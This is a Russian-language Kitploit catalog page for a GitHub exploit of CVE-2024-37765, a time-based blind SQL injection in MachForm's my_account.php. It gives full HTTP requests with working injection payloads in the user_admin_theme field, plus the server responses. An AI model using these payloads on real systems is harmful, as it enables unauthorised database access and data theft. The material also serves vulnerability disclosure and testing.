Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2024-37765 — Эксплойт-скрипт для аутентифицированной слепой SQL-инъекции в MachForm до версии v19, использующий time-based техники для извлечения информации из базы данных через конечную точку my_account.php. | Kitploit
Инструменты/GitHubGitHub/atreb92/cve-2024-37765
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubatreb92/cve-2024-37765

cve-2024-37765

Эксплойт-скрипт для аутентифицированной слепой SQL-инъекции в MachForm до версии v19, использующий time-based техники для извлечения информации из базы данных через конечную точку my_account.php.

Репозиторий
1112 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Описание

MachForm до версии 19 подвержен аутентифицированной слепой SQL-инъекции на странице настроек учётной записи пользователя.

Атаки SQL-инъекции заключаются во вставке SQL-запросов через использование поля входных данных из клиентского приложения. Такой вид атак позволяет получить доступ к базе данных, что может привести к утечке, изменению или удалению существующих данных.

Слепая SQL-инъекция — это особый тип атаки, при котором злоумышленник не получает полный результат запроса, а может только задавать вопросы, требующие ответа «истина» или «ложь»; этого можно добиться с помощью функций задержки (sleep) для принудительной задержки ответа базы данных или вызова ошибок.

Риск

  • Серьёзность: Критическая
  • CVSS v3.1 Score: 9.9
  • CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Затронутые ресурсы

  • Версия: до MachForm v19
  • https://<application-baseurl>/my_account.php

Подтверждение

Параметр user_admin_theme в ресурсе my_account.php уязвим для SQL-инъекции.

image_1

Запрос:

root@kitploit:~
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

Ответ:

root@kitploit:~
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline';  img-src 'self' data:; frame-ancestors 'self' *.application-baseurl;  script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close

SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params:  0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1

Это может быть использовано с помощью атаки на основе времени, используя условие задержки (sleep) и проверяя, меняется ли время ответа в зависимости от результата выполненного запроса.

Запрос: SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END

Используя всегда истинное условие, ответ приложения занимает более 2000 мс.

image_2

Запрос:

root@kitploit:~
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close

user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

Запрос: SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END

Используя вместо этого всегда ложное условие, ответ приложения происходит почти мгновенно.

image_3

Запрос:

root@kitploit:~
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close

user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

Эта уязвимость может быть использована с помощью простого скрипта, который оценивает время ответа, чтобы понять, дал ли введённый запрос истинный или ложный результат.

Ниже приведён пример, используемый для получения текущего пользователя базы данных с помощью exploit.py.

image_4

Скачать инструмент